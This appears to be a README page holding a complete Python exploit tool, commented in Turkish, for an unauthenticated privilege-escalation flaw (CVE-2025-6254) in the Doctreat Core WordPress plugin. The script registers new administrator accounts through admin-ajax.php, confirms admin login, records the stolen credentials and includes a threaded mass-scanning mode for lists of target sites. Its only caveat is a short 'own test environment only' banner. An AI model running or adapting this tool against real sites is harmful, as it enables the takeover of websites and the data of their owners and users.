README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-6254 - Doctreat Core <= 1.6.8
Unauthenticated Privilege Escalation
SADECE KENDİ TEST ORTAMINIZDA KULLANIN
Tekli + Toplu Tarama Edisyonu
"""
import requests
import json
import sys
import random
import string
import re
import os
import threading
import argparse
import urllib3
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
urllib3.disable_warnings()
# ─── Renkler ─────────────────────────────────────────────────────
G = "\033[92m"
R = "\033[91m"
Y = "\033[93m"
C = "\033[96m"
W = "\033[0m"
BD = "\033[1m"
DM = "\033[90m"
BANNER = f"""
{BD}{C}╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-6254 Doctreat Core <= 1.6.8 ║
║ Unauthenticated Privilege Escalation | CVSS 9.8 ║
║ SADECE KENDİ TEST ORTAMINIZDA KULLANIN ║
╚══════════════════════════════════════════════════════════════╝{W}
"""
# ─── Sabitler ────────────────────────────────────────────────────
DEFAULT_THREADS = 30
DEFAULT_TIMEOUT = 15
DEFAULT_ROLE = "administrator"
AJAX_ACTIONS = [
"doctreat_process_registration",
"doctreat_ajax_register",
"doctreat_register_user",
"doctreat_user_registration",
]
REGISTER_PATHS = [
"/?page_id=register",
"/register",
"/wp-login.php?action=register",
"/?action=register",
"/registration",
]
# ─── Thread-safe çıktı & sayaçlar ────────────────────────────────
_print_lock = threading.Lock()
_file_lock = threading.Lock()
stats = {"total": 0, "vuln": 0, "safe": 0, "error": 0}
stats_lock = threading.Lock()
def tprint(msg="", end="\n"):
with _print_lock:
sys.stdout.write(str(msg) + end)
sys.stdout.flush()
def inc(key):
with stats_lock:
stats[key] += 1
def save_result(outfile, line):
with _file_lock:
with open(outfile, "a", encoding="utf-8") as f:
f.write(line + "\n")
f.flush()
os.fsync(f.fileno())
# ─── Ana sınıf ───────────────────────────────────────────────────
class DoctreatExploit:
def __init__(self, target_url, timeout=DEFAULT_TIMEOUT):
self.target_url = target_url.rstrip("/")
self.ajax_url = urljoin(self.target_url + "/", "wp-admin/admin-ajax.php")
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"X-Requested-With":"XMLHttpRequest",
})
# ── Yardımcılar ───────────────────────────────────────────────
def generate_credentials(self):
suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
username = f"user_{suffix}"
password = f"P@ss{suffix}!9"
email = f"{username}@security.local"
return username, email, password
def _get_nonce(self):
"""Kayıt sayfalarından nonce çekmeyi dene"""
for path in REGISTER_PATHS:
try:
r = self.session.get(
self.target_url + path,
timeout=self.timeout,
allow_redirects=True
)
# Farklı nonce pattern'leri
patterns = [
r'"nonce"\s*:\s*"([a-f0-9]+)"',
r'nonce["\s:=]+([a-f0-9]{10,})',
r'_wpnonce["\s=]+([a-f0-9]{10,})',
r'name="_wpnonce"\s+value="([^"]+)"',
]
for pat in patterns:
m = re.search(pat, r.text)
if m:
return m.group(1)
except Exception:
continue
return None
def _is_success(self, response):
"""Yanıtın başarılı olup olmadığını kontrol et"""
if response.status_code != 200:
return False
text = response.text.strip()
if not text or text in ("0", "-1", ""):
return False
try:
j = response.json()
# success: true veya success: 1
if j.get("success") in (True, 1, "true", "1"):
return True
# data içinde user_id varsa
data = j.get("data", {})
if isinstance(data, dict) and data.get("user_id"):
return True
except Exception:
pass
# HTML yanıt kontrolü
low = text.lower()
if any(k in low for k in ("success", "registered", "created", "account")):
return True
return False
# ── Nonce gerektiren POST ──────────────────────────────────────
def _post_registration(self, action, username, email, password, role, nonce=None):
post_data = {
"action": action,
"username": username,
"email": email,
"password": password,
"role": role,
"user_type": "doctor",
"register": "Register",
}
if nonce:
post_data["nonce"] = nonce
post_data["_wpnonce"] = nonce
try:
r = self.session.post(
self.ajax_url,
data=post_data,
timeout=self.timeout,
allow_redirects=True
)
return r
except Exception:
return None
# ── Ana exploit ───────────────────────────────────────────────
def exploit_create_admin(self, username=None, email=None,
password=None, role=DEFAULT_ROLE):
"""
Tüm action'ları ve nonce kombinasyonlarını dene.
İlk başarılı sonucu döndür.
"""
# Eksik parametre kontrolü — hepsini üret veya hiçbirini
if not all([username, email, password]):
username, email, password = self.generate_credentials()
# Nonce almayı dene (başarısız olsa da devam et)
nonce = self._get_nonce()
for action in AJAX_ACTIONS:
# Önce nonce ile dene, sonra nonce'suz
for use_nonce in ([nonce, None] if nonce else [None]):
r = self._post_registration(
action, username, email, password, role, use_nonce
)
if r and self._is_success(r):
return {
"success": True,
"username": username,
"password": password,
"email": email,
"role": role,
"action": action,
"nonce_used": use_nonce is not None,
"login_url": urljoin(self.target_url + "/", "wp-login.php"),
}
return {"success": False, "error": "Tüm action ve nonce kombinasyonları başarısız"}
# ── Admin erişim doğrulama ────────────────────────────────────
def verify_admin_access(self, username, password):
"""
Düzeltilmiş doğrulama:
- Önce login cookie al
- allow_redirects=True ile takip et
- URL ve içerik kontrolü yap
"""
login_url = urljoin(self.target_url + "/", "wp-login.php")
login_data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": self.target_url + "/wp-admin/",
"testcookie": "1",
}
try:
# Login cookie için önce GET
self.session.get(login_url, timeout=self.timeout)
r = self.session.post(
login_url,
data=login_data,
allow_redirects=True, # ← düzeltildi
timeout=self.timeout
)
# URL kontrolü
if "wp-admin" in r.url and "login" not in r.url:
return True
# İçerik kontrolü
low = r.text.lower()
if "dashboard" in low or "wp-admin" in low:
if "incorrect" not in low and "error" not in low:
return True
return False
except Exception:
return False
# ─── Tekli tarama ────────────────────────────────────────────────
def single_scan(target, timeout, outfile, role, verbose=True):
url = target.strip()
if not url.startswith(("http://", "https://")):
url = "http://" + url
if verbose:
tprint(f"\n{'='*62}")
tprint(f" Hedef : {C}{url}{W}")
tprint(f"{'='*62}\n")
ex = DoctreatExploit(url, timeout)
if verbose:
tprint(f" {Y}[1]{W} Nonce alınıyor...")
nonce = ex._get_nonce()
if verbose:
if nonce:
tprint(f" {G}[+]{W} Nonce bulundu: {DM}{nonce[:12]}...{W}")
else:
tprint(f" {Y}[!]{W} Nonce bulunamadı, nonce'suz deneniyor")
if verbose:
tprint(f" {Y}[2]{W} Exploit deneniyor...")
result = ex.exploit_create_admin(role=role)
if result["success"]:
tprint(f"\n {BD}{G}{'='*55}{W}")
tprint(f" {BD}{G}[VULN] ZAFİYET DOĞRULANDI!{W}")
tprint(f" {G} Hedef : {url}{W}")
tprint(f" {G} Action : {result['action']}{W}")
tprint(f" {G} Nonce : {'Evet' if result['nonce_used'] else 'Hayır'}{W}")
tprint(f" {G} Kullanıcı: {result['username']}{W}")
tprint(f" {G} Şifre : {result['password']}{W}")
tprint(f" {G} Email : {result['email']}{W}")
tprint(f" {G} Rol : {result['role']}{W}")
tprint(f" {G} Login : {result['login_url']}{W}")
# Admin erişim doğrulama
if verbose:
tprint(f"\n {Y}[3]{W} Admin erişimi doğrulanıyor...")
verified = ex.verify_admin_access(result["username"], result["password"])
if verified:
tprint(f" {BD}{G}[+] Admin erişimi ONAYLANDI!{W}")
else:
tprint(f" {Y}[!] Kullanıcı oluşturuldu, login doğrulanamadı{W}")
tprint(f" {BD}{G}{'='*55}{W}")
# Kaydet
line = (f"{url} | {result['username']}:{result['password']} "
f"| {result['login_url']} | action:{result['action']}")
save_result(outfile, line)
return True
else:
if verbose:
tprint(f" {R}[-] Savunmasız değil veya plugin aktif değil{W}")
tprint(f" {DM} {result.get('error','')}{W}")
return False
# ─── Toplu tarama worker ─────────────────────────────────────────
def scan_worker(target, timeout, outfile, role, idx, total):
url = target.strip()
if not url or url.startswith("#"):
return
if not url.startswith(("http://", "https://")):
url = "http://" + url
prefix = f"{DM}[{idx:>5}/{total}]{W}"
try:
ex = DoctreatExploit(url, timeout)
result = ex.exploit_create_admin(role=role)
if result["success"]:
inc("vuln")
line = (f"{url} | {result['username']}:{result['password']} "
f"| {result['login_url']} | action:{result['action']}")
tprint(
f"\n{BD}{G}{'='*55}{W}\n"
f"{BD}{G}[VULN] {url}{W}\n"
f"{G} User : {result['username']}:{result['password']}{W}\n"
f"{G} Login : {result['login_url']}{W}\n"
f"{G} Action: {result['action']}{W}\n"
f"{BD}{G}{'='*55}{W}"
)
save_result(outfile, line)
else:
inc("safe")
tprint(f"{prefix} {R}x{W} {DM}{url}{W}")
except requests.exceptions.ConnectionError:
inc("error")
tprint(f"{prefix} {Y}!{W} {DM}{url} [baglanamadi]{W}")
except requests.exceptions.Timeout:
inc("error")
tprint(f"{prefix} {Y}T{W} {DM}{url} [timeout]{W}")
except Exception as ex_err:
inc("error")
tprint(f"{prefix} {Y}?{W} {DM}{url} [{type(ex_err).__name__}]{W}")
inc("total")
# ─── Toplu tarama ────────────────────────────────────────────────
def mass_scan(targets, timeout, threads, outfile, role):
total = len(targets)
tprint(f"\n{C} [*] {total} hedef | {threads} thread | timeout: {timeout}s{W}")
tprint(f"{C} [*] Rol: {role} | Cikti: {outfile}{W}\n")
# Çıktı dosyasını başlat
with open(outfile, "w", encoding="utf-8") as f:
f.write(f"# CVE-2025-6254 Doctreat Scan | {datetime.now().isoformat()}\n\n")
t0 = datetime.now()
with ThreadPoolExecutor(max_workers=threads) as pool:
futures = {
pool.submit(
scan_worker,
t, timeout, outfile, role, i, total
): t
for i, t in enumerate(targets, 1)
}
for fut in as_completed(futures):
try:
fut.result()
except Exception:
pass
elapsed = (datetime.now() - t0).total_seconds()
tprint(f"\n{BD}{G}{'='*55}{W}")
tprint(f"{BD} TARAMA TAMAMLANDI{W}")
tprint(f"{G}{'='*55}{W}")
tprint(f" {C}Toplam :{W} {stats['total']}")
tprint(f" {G}Vuln :{W} {BD}{G}{stats['vuln']}{W}")
tprint(f" {R}Temiz :{W} {stats['safe']}")
tprint(f" {Y}Hata :{W} {stats['error']}")
tprint(f" {DM}Sure :{W} {elapsed:.1f}s")
if stats["vuln"] > 0:
tprint(f" {Y}Cikti :{W} {outfile}")
tprint(f"{G}{'='*55}{W}\n")
# ─── Main ────────────────────────────────────────────────────────
def main():
print(BANNER)
print(f"{Y} [!] BU KOD SADECE EGITIM AMAÇLIDIR{W}")
print(f"{Y} [!] YALNIZCA KENDI TEST ORTAMINIZDA KULLANIN{W}\n")
p = argparse.ArgumentParser(
description="CVE-2025-6254 Doctreat Core Privilege Escalation Scanner",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"\nOrnekler:\n"
" Tekli : python exploit.py -u http://localhost:8080\n"
" Toplu : python exploit.py -f targets.txt\n"
" Hizli : python exploit.py -f targets.txt -T 50 -t 8\n"
" Rol : python exploit.py -u http://site.com --role editor\n"
)
)
mode = p.add_mutually_exclusive_group(required=True)
mode.add_argument("-u", "--url", help="Tekli hedef URL")
mode.add_argument("-f", "--file", help="Hedef listesi (satir basi 1 URL)")
p.add_argument("-T", "--threads", type=int, default=DEFAULT_THREADS,
help=f"Thread sayisi (varsayilan: {DEFAULT_THREADS})")
p.add_argument("-t", "--timeout", type=int, default=DEFAULT_TIMEOUT,
help=f"Timeout saniye (varsayilan: {DEFAULT_TIMEOUT})")
p.add_argument("-o", "--output", default="doctreat_vuln.txt",
help="Cikti dosyasi (varsayilan: doctreat_vuln.txt)")
p.add_argument("--role", default=DEFAULT_ROLE,
help=f"Atanacak rol (varsayilan: {DEFAULT_ROLE})")
args = p.parse_args()
# ── Tekli mod ─────────────────────────────────────────────────
if args.url:
single_scan(args.url, args.timeout, args.output, args.role)
return
# ── Toplu mod ─────────────────────────────────────────────────
if not os.path.isfile(args.file):
tprint(f"{R}[!] Dosya bulunamadi: {args.file}{W}")
sys.exit(1)
targets = []
seen = set()
try:
with open(args.file, encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
if line not in seen:
seen.add(line)
targets.append(line)
except Exception as ex:
tprint(f"{R}[!] Dosya okuma hatasi: {ex}{W}")
sys.exit(1)
if not targets:
tprint(f"{Y}[!] Hedef listesi bos.{W}")
sys.exit(1)
tprint(f" {C}[*] {len(targets)} benzersiz hedef yuklendi{W}")
mass_scan(
targets = targets,
timeout = args.timeout,
threads = args.threads,
outfile = args.output,
role = args.role,
)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Y}[!] Durduruldu{W}")
sys.exit(130)